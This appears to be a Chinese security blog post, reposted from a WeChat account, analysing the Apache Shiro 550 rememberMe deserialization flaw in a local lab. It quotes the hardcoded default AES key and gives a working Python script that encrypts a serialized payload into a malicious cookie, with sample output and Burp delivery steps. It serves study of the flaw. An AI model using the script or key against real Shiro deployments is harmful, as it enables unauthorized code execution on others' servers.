Shiro 550反序列化漏洞分析
因为现阶段工作涉及到了审计的相关内容,接下来会多看审计的东西。由此记录以下。不过还是以dotnet
为主。私以为,程序上的问题大差不差,触类旁通吧。多看看没坏处。
参考直接搜索就有,简单过过流程。
环境搭建
然后添加一个tomcat项目
并进行配置server
然后点Deployment,
然后关于Debug模式下的调试,
使用Debug的时候会提示socket close,是端口被占用了,所以需要修改成未被占用的端口
直接OK就行了。
之后设置JDK,选择Project Structure,
直接debug启动~~~~
丝滑啊!!
搞定之后就是进行分析了。
漏洞分析与利用
漏洞分析
尝试发现这个漏洞的流程。抓一下登录的包。
选择remember me进行登录。返回了一个cookie,很长。里面是有东西的。
保存信息的方式就是反序列化和序列化。
看一下cookie的处理。在code中进行搜索,
进去就可以看到相关的序列化与反序列化的部分rememberSerializedIdentity(序列化)
同样还有一个反序列化的操作。重点看一下getRememberSerializedIdentity
就是反序列化的函数。大致看了一下是base64
的解码。
getRememberedPrincipals
里面调用了getRememberSerializedIdentity
这个函数
然后传入到convertBytesToPrincipals
中,在convertBytesToPrincipals
中调用了decrypt
然后返回一个反序列化的操作。
decrypt
中调用了一个函数,获取解密用的key,跟进这个函数。
这里使用的是一个常量。
然后看一下赋值的位置,一路跟下去~
最后跟到了一个常量,是一个固定的值。加密算法也是固定的。那么就可以自己构造了。
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
因此,需要我们构造cookie。
首先构造一个序列化的payload,然后AES
加密,最后base64
发送给server
server根据收到的就去反序列化调用了。
URLDNS
利用
Payload的构造,直接用cc打有坑。实际上是打不了的,很多的编译中是test包用的,他是无法加入到实际的打包中。实际中用的是cb
的部分。
因此先验证一下,使用jdk自己的原生链,URLDNS
去尝试触发一下。
找到之前的payload,生成一下。生成一个二进制的bin文件。copy出来。
使用我们下载好的exp SHIRO-550
进行AES
加密和base64
的操作。
解决脚本加密问题
pip uninstall crypto pycryptodome
pip install pycryptodome
#如果上述方法仍不能解决问题,可以找到 python 下面的Libsite-packages,手动将crypto改为Crypto
使用脚本对我们生成的payload进行处理
(很多都是先加密,然后base64编码,因为加密之后的字符未必兼容,所以要base64编码一下!防止传输或者处理错误。)
from Crypto.Cipher import AES
import uuid
import base64
def convert_bin(file):
with open(file,'rb') as f:
return f.read()
def AES_enc(data):
BS=AES.block_size
pad=lambda s:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()
key="kPH+bIxk5D2deZiIxcaaaA=="
mode=AES.MODE_CBC
iv=uuid.uuid4().bytes
encryptor=AES.new(base64.b64decode(key),mode,iv)
ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode()
return ciphertext
if __name__=="__main__":
data=convert_bin("wulala.bin")
print(AES_enc(data))
结果
PS E:myPC桌面> python .shiro_rce.py
r00PFmogQl6HSyfdqeKPwG6ObgIfnnLbxvso7s2B4DdxfvrIE8ws/B8gFOvIyarBf0/k5i2AiDYtgmw/juB+1tCd4OLo17uw3fNWy8oaTzsM/xlp/aYqhFBV6xeu4krZ6lxtZVy2BsAoBZv7Tiw2bTRrO5QwibG4GeO+BZ9NnqDZb9fpEE0E1XGHeZC55VGw9UNAuA4ItdRctY9R+AhZcqdTYN5Zk8OXVMOdKfmLrMbd6dL8dQv3kgqRnn7nJ1wkUEJjFC3U2eavqwcXUAd4uURxdOLIv9uw8HPrixDr5v26sjX93LkTDi8ixC/6ylcE6IkyRZpOAUSyKxxnJm0TkSMuUHKzlsVi2pvH/57NETP/hJ3EZByRs6iZc7YOm8017WuUIx+wXHx6iGWzgLwlGTF4ZLV8l3IMqZWSE9ziDBIYpBohYGjH2SwkCLBxy35FPN5uPEATwwhs20TIOxK3ZLCO8jw4r6ciWSpN5zzEQPMYS4SecIH5WrcIVVhZKB24
复制生成的值,然后去burp中发送就行了
(注意sessionid
这个值,需要删除掉。不然不会使用rememberMe
)
(不晓得为什么收到两个。怪怪的,试了一下,正常是一个。嘶。。。。再说)后期再看。
动态的下断点看一下。
然后发包,我们就断到这里。
走到readObject
之后就是HashMap
的readObject
,之后就是URLDNS
那些。
(回头把java源码那里搞了。这个的显示不出来。参考之前的笔记。)
总结
后续再继续,先记录到这里,分析一下成因,payload流程。之后再说打不同的依赖。
原文始发于微信公众号(wulala520):Shiro 550反序列化漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论